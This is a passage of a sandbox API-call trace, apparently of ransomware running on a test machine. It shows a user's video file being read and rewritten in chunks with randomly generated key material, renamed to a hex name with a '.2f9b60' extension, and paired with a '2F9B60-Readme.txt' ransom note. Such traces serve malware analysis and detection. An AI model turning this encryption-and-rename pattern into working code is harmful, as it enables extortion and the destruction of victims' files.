(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0105.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced8fa0 [0105.056] sprintf (in: _Dest=0x1ced8fa0, _Format="%c%c" | out: _Dest="65") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fa2, _Format="%c%c" | out: _Dest="2d") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fa4, _Format="%c%c" | out: _Dest="4d") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fa6, _Format="%c%c" | out: _Dest="7c") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fa8, _Format="%c%c" | out: _Dest="be") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8faa, _Format="%c%c" | out: _Dest="a8") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fac, _Format="%c%c" | out: _Dest="90") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fae, _Format="%c%c" | out: _Dest="98") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fb0, _Format="%c%c" | out: _Dest="8f") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fb2, _Format="%c%c" | out: _Dest="a5") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fb4, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fb6, _Format="%c%c" | out: _Dest="3f") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fb8, _Format="%c%c" | out: _Dest="ff") returned 2 [0105.056] sprintf (in: _Dest=0x1ced8fba, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fbc, _Format="%c%c" | out: _Dest="c7") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fbe, _Format="%c%c" | out: _Dest="51") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fc0, _Format="%c%c" | out: _Dest="7d") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fc2, _Format="%c%c" | out: _Dest="bd") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fc4, _Format="%c%c" | out: _Dest="dc") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fc6, _Format="%c%c" | out: _Dest="97") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fc8, _Format="%c%c" | out: _Dest="32") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fca, _Format="%c%c" | out: _Dest="75") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fcc, _Format="%c%c" | out: _Dest="2a") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fce, _Format="%c%c" | out: _Dest="09") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fd0, _Format="%c%c" | out: _Dest="75") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fd2, _Format="%c%c" | out: _Dest="71") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fd4, _Format="%c%c" | out: _Dest="49") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fd6, _Format="%c%c" | out: _Dest="62") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fd8, _Format="%c%c" | out: _Dest="f4") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fda, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fdc, _Format="%c%c" | out: _Dest="a0") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fde, _Format="%c%c" | out: _Dest="97") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fe0, _Format="%c%c" | out: _Dest="a3") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fe2, _Format="%c%c" | out: _Dest="37") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fe4, _Format="%c%c" | out: _Dest="c9") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fe6, _Format="%c%c" | out: _Dest="38") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fe8, _Format="%c%c" | out: _Dest="81") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fea, _Format="%c%c" | out: _Dest="3d") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fec, _Format="%c%c" | out: _Dest="cc") returned 2 [0105.057] sprintf (in: _Dest=0x1ced8fee, _Format="%c%c" | out: _Dest="8a") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ff0, _Format="%c%c" | out: _Dest="56") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ff2, _Format="%c%c" | out: _Dest="c3") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ff4, _Format="%c%c" | out: _Dest="bc") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ff6, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ff8, _Format="%c%c" | out: _Dest="b8") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ffa, _Format="%c%c" | out: _Dest="5c") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ffc, _Format="%c%c" | out: _Dest="fb") returned 2 [0105.058] sprintf (in: _Dest=0x1ced8ffe, _Format="%c%c" | out: _Dest="42") returned 2 [0105.058] RtlInitAnsiString (in: DestinationString=0x2453fa28, SourceString="652d4d7cbea890988fa5fe3fff5bc7517dbddc9732752a0975714962f4aca097a337c938813dcc8a56c3bcecb85cfb42" | out: DestinationString="652d4d7cbea890988fa5fe3fff5bc7517dbddc9732752a0975714962f4aca097a337c938813dcc8a56c3bcecb85cfb42") [0105.058] RtlAnsiStringToUnicodeString (in: DestinationString=0x2453f9f8, SourceString="652d4d7cbea890988fa5fe3fff5bc7517dbddc9732752a0975714962f4aca097a337c938813dcc8a56c3bcecb85cfb42", AllocateDestinationString=1 | out: DestinationString="652d4d7cbea890988fa5fe3fff5bc7517dbddc9732752a0975714962f4aca097a337c938813dcc8a56c3bcecb85cfb42") returned 0x0 [0105.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1187b0 [0105.058] wcscat (in: _Dest=0x202791f0, _Source="652d4d7cbea890988fa5fe3f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\652d4d7cbea890988fa5fe3f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\652d4d7cbea890988fa5fe3f" [0105.058] wcscat (in: _Dest=0x202791f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\652d4d7cbea890988fa5fe3f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\652d4d7cbea890988fa5fe3f.2f9b60" [0105.058] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\652d4d7cbea890988fa5fe3f.2f9b60", NtPathName=0x2453f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\652d4d7cbea890988fa5fe3f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118d60 [0105.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 [0105.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0105.753] NtQueryInformationFile (in: FileHandle=0x1554, IoStatusBlock=0x2453fa38, FileInformation=0x2453fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2453fa38, FileInformation=0x2453fa48) returned 0x0 [0105.753] NtSetInformationFile (FileHandle=0x1554, IoStatusBlock=0x2453fa38, FileInformation=0x2453fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 [0106.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0106.024] FlushFileBuffers (hFile=0x1554) returned 1 [0106.031] CloseHandle (hObject=0x1554) returned 1 [0106.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027a3d0 [0106.050] wcscpy (in: _Dest=0x2027a3d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0106.050] wcscat (in: _Dest=0x2027a3d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0106.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a3d0) returned 1 [0106.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 Thread: id = 839 os_tid = 0x67c [0099.407] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\gcKFmsr4QLcs5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\gckfmsr4qlcs5.mkv")) returned 0x20 [0099.407] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\gcKFmsr4QLcs5.mkv", dwFileAttributes=0x20) returned 1 [0099.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\gcKFmsr4QLcs5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\gckfmsr4qlcs5.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1558 [0099.407] GetFileSizeEx (in: hFile=0x1558, lpFileSize=0x2332fce0 | out: lpFileSize=0x2332fce0*=87179) returned 1 [0099.408] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x15487, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.408] ReadFile (in: hFile=0x1558, lpBuffer=0x2332fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2332fca8, lpOverlapped=0x0 | out: lpBuffer=0x2332fc60*, lpNumberOfBytesRead=0x2332fca8*=0x4, lpOverlapped=0x0) returned 1 [0099.409] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0099.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0099.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0099.409] NtQuerySystemTime (in: CurrentTime=0x2332fba0 | out: CurrentTime=0x2332fba0*=132462177049330000) returned 0x0 [0099.409] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x2062c2e0 [0099.409] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x28af6e2b [0099.409] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x6780081e [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x41a17828 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x5235c70a [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x66503cad [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x6a27d1b [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x6dc7df0b [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x36183348 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x9a29c93 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x140d0227 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x77300039 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x356c31da [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x44e3df35 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x189bc26d [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x2cc4c39e [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x5a4da7c5 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0xabb1982 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x297669e [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x22905601 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x766e3ee2 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x4cdae6f6 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x18a87cf0 [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x3514900b [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x41e6522f [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x365c3f [0099.410] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x1e9ffbb1 [0099.411] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x7333f16d [0099.411] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x16b85f9d [0099.411] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x771668 [0099.411] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x5a2a3ea1 [0099.411] RtlRandomEx (in: Seed=0x2332fb90 | out: Seed=0x2332fb90) returned 0x17d86b1d [0099.423] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.423] ReadFile (in: hFile=0x1558, lpBuffer=0x202db560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2332fc00, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesRead=0x2332fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0099.423] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0099.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0099.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0099.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c10) returned 1 [0099.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202df170 [0099.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c10 [0099.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0099.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261cd0) returned 1 [0099.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0099.424] WriteFile (in: hFile=0x1558, lpBuffer=0x202df170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2332fc00, lpOverlapped=0x0 | out: lpBuffer=0x202df170*, lpNumberOfBytesWritten=0x2332fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202df170) returned 1 [0100.575] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.575] ReadFile (in: hFile=0x1558, lpBuffer=0x202db560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2332fc00, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesRead=0x2332fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.576] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420540b0 [0100.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0100.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0100.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42039560 [0100.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0100.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0100.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0100.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420540b0) returned 1 [0100.937] WriteFile (in: hFile=0x1558, lpBuffer=0x42039560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2332fc00, lpOverlapped=0x0 | out: lpBuffer=0x42039560*, lpNumberOfBytesWritten=0x2332fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0101.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42039560) returned 1 [0101.599] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x1188b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.599] ReadFile (in: hFile=0x1558, lpBuffer=0x202db560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2332fc00, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesRead=0x2332fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0101.599] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x1188b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0101.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0101.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42039560 [0101.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0101.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0101.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0101.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.600] WriteFile (in: hFile=0x1558, lpBuffer=0x42039560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2332fc00, lpOverlapped=0x0 | out: lpBuffer=0x42039560*, lpNumberOfBytesWritten=0x2332fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0101.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42039560) returned 1 [0101.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8fa0 [0101.723] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.723] WriteFile (in: hFile=0x1558, lpBuffer=0x133b80*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2332fcb0, lpOverlapped=0x0 | out: lpBuffer=0x133b80*, lpNumberOfBytesWritten=0x2332fcb0*=0x154, lpOverlapped=0x0) returned 1 [0105.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0105.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e00 [0105.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e00) returned 1 [0105.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260e00 [0105.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260dd0 [0105.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0105.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d70) returned 1 [0105.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0105.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c8a0 [0105.050] sprintf (in: _Dest=0x1b82c8a0, _Format="%c%c" | out: _Dest="ce") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8a2, _Format="%c%c" | out: _Dest="71") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8a4, _Format="%c%c" | out: _Dest="ed") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8a6, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8a8, _Format="%c%c" | out: _Dest="50") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8aa, _Format="%c%c" | out: _Dest="aa") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8ac, _Format="%c%c" | out: _Dest="5c") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8ae, _Format="%c%c" | out: _Dest="db") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8b0, _Format="%c%c" | out: _Dest="06") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8b2, _Format="%c%c" | out: _Dest="02") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8b4, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8b6, _Format="%c%c" | out: _Dest="c1") returned 2 [0105.050] sprintf (in: _Dest=0x1b82c8b8, _Format="%c%c" | out: _Dest="47") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8ba, _Format="%c%c" | out: _Dest="9e") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8bc, _Format="%c%c" | out: _Dest="fa") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8be, _Format="%c%c" | out: _Dest="d0") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8c0, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8c2, _Format="%c%c" | out: _Dest="63") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8c4, _Format="%c%c" | out: _Dest="59") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8c6, _Format="%c%c" | out: _Dest="83") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8c8, _Format="%c%c" | out: _Dest="45") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8ca, _Format="%c%c" | out: _Dest="81") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8cc, _Format="%c%c" | out: _Dest="e8") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8ce, _Format="%c%c" | out: _Dest="e5") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8d0, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8d2, _Format="%c%c" | out: _Dest="47") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8d4, _Format="%c%c" | out: _Dest="39") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8d6, _Format="%c%c" | out: _Dest="ad") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8d8, _Format="%c%c" | out: _Dest="22") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8da, _Format="%c%c" | out: _Dest="7e") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8dc, _Format="%c%c" | out: _Dest="2f") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8de, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8e0, _Format="%c%c" | out: _Dest="7c") returned 2 [0105.051] sprintf (in: _Dest=0x1b82c8e2, _Format="%c%c" | out: _Dest="1b") returned 2 [0105.051] RtlInitAnsiString (in: DestinationString=0x2332fd28, SourceString="ce71edf050aa5cdb06025ac1479efad05a6359834581e8e5f04739ad227e2fcb7c1b" | out: DestinationString="ce71edf050aa5cdb06025ac1479efad05a6359834581e8e5f04739ad227e2fcb7c1b") [0105.051] RtlAnsiStringToUnicodeString (in: DestinationString=0x2332fcf8, SourceString="ce71edf050aa5cdb06025ac1479efad05a6359834581e8e5f04739ad227e2fcb7c1b", AllocateDestinationString=1 | out: DestinationString="ce71edf050aa5cdb06025ac1479efad05a6359834581e8e5f04739ad227e2fcb7c1b") returned 0x0 [0105.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205dc30 [0105.052] wcscat (in: _Dest=0x2050d160, _Source="ce71edf050aa5cdb0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\ce71edf050aa5cdb0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\ce71edf050aa5cdb0" [0105.052] wcscat (in: _Dest=0x2050d160, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\ce71edf050aa5cdb0.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\ce71edf050aa5cdb0.2f9b60" [0105.052] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\ce71edf050aa5cdb0.2f9b60", NtPathName=0x2332fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\ce71edf050aa5cdb0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118bc0 [0105.750] RtlFreeHeap (HeapHandle=0xa0000, 